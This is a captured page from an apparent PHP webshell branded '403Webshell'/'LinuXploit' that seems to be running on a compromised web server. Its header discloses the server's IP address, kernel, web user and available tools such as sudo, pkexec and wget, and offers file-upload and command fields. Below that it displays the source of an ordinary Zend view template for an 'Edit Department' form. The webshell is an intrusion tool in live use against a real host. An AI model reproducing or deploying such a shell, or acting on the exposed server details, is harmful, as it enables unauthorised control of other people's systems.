403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/department/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/department/edit-department.phtml
<?php
/*
 * Catabatic Technology Pvt. Ltd.
 * File Name :edit-department.phtml
 * File Description :edit-department view contains edit form of department
 * Created By : Pooja Choudhary
 * Created Date: 29-June-2016
 */
$deptData = $this->deptData;
?>

<!--Page main section start-->
<section id="min-wrapper" class="active">
    <div id="main-content">
        <div class="container-fluid">
            <div class="row">
                <div class="col-md-12">
                    <!--Top header start-->
                    <h3 class="ls-top-header">Edit Department</h3>
                    <!--Top header end -->

                    <!--Top breadcrumb start -->
                    <ol class="breadcrumb">
                        <li><a href="#"><i class="fa fa-home"></i></a></li>
                        <li class="active">Department Management</li><li class="active"><a href="<?php echo $this->baseUrl('department'); ?>">Department</a></li><li class="active">Edit Department</li>
                    </ol>
                    <!--Top breadcrumb start -->
                </div>
            </div>
            <!-- Main Content Element  Start-->
            <div class="row">
                <form id="addDepartmentForm" class="ls_form" method="post" role="form" autocomplete="off" action="/department/edit-department">
                    <div class="col-md-12">
                        <div class="successMessage">
                            <?php echo $this->message; ?>
                        </div>
                    </div>
                    <div class="col-md-12">
                        <div class="panel panel-default"> 
                            <div class="panel-heading">
                                <h3 class="panel-title">Edit Department</h3>
                            </div>                               
                            <div class="panel-body">                            

                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>Department Name <?php echo MANDATORY_SIGN; ?></label>
                                        <div class="col-md-12 no-padding"><input type="text" name="department" id="department" value="<?= $deptData['DeptTitle']; ?>" class="form-control whbg" maxlength="80">                     </div>
                                    </div>
                                </div>

                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label>Status <?php echo MANDATORY_SIGN; ?></label>
                                        <div class="col-md-12 no-padding">
                                            <select id="select-status" name="status" class="demo-default select-country" placeholder="Select">
                                            <option value="1" <?= ($deptData['IsActive'] == 1) ? 'selected' : ''; ?>>Active</option>
                                            <option value="0" <?= ($deptData['IsActive'] == 0) ? 'selected' : ''; ?>>Deactive</option>
                                        </select>     
                                        </div>
                                    </div>
                                </div>

                            </div>
                        </div>
                    </div>

                    <input type="hidden" id="depId" name="depId" value="<?= base64_encode($deptData['DeptSysId']); ?>"/>
                    <div class="col-md-12 no-padding no-margin">
                        <div class="panel-footer text-right">
                            <!--<input type="submit" class="btn btn-success" name="submit" value="Submit"/>-->
                            <a href="<?php echo $this->baseUrl('department'); ?>" class="btn btn-primarygray">Cancel</a>
                            <button class="submit btn btn-warning" type="submit" name="submit">Submit</button> 
                            <!--<a class="btn btn-success" href="#">Submit</a>-->
                        </div>
                    </div>

                </form>

            </div>

            <!-- Main Content Element  End-->
        </div>
    </div>


    <?php echo $this->render('copyrightfooter.phtml'); ?>
</section>
<!--Page main section end -->
<?php echo $this->render("newfooter.phtml"); ?>
<script src="<?php echo $this->baseUrl('public/js/jquery.validate.min.js'); ?>"></script>

<script type="text/javascript">
    $(document).ready(function () {
        $('#select-status').change(function () {
        $(this).parent().children('label').text('');
        });
        
        $.validator.addMethod("noStartEndWhiteSpaces", function (value, element) {
            return this.optional(element) || !(/^\s+|\s+$/g.test(value));
        }, "Spaces are not allowed.");
        $("#addDepartmentForm").validate({
            highlight: function (error, element) {
                var name = $(element).attr("name");
                $("input[name=" + name + "]").removeClass('error');
            },
           onfocusout: function(element) {
            var name = $(element).attr("name");
            if(name == 'department'){
            $.ajax({
            url:'/department/department-exists?depId=' + $('#depId').val() +'&department='+ $('#department').val(),
            method: 'POST',
            dataType: 'json',
            success: function (response) {
            //                alert(response);
            }
            })}
            },
            rules: {
                "department": {
                    required: true,
                    remote:{
                        url:'/department/department-exists?depId=' + $('#depId').val(),
                        async:false
                    },
                    noStartEndWhiteSpaces: true
                },
                "status": {
                    required: true
                }
            },
            messages: {
                "department": {
                    required: 'Please enter department name.',
                    remote: 'Department already exists.'
                },
                "status": {
                    required: 'Please choose status.'
                }
            }
//        submitHandler: function () {
//            $("#addDepartmentForm").submit();
//            return true;
//        }

        });
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit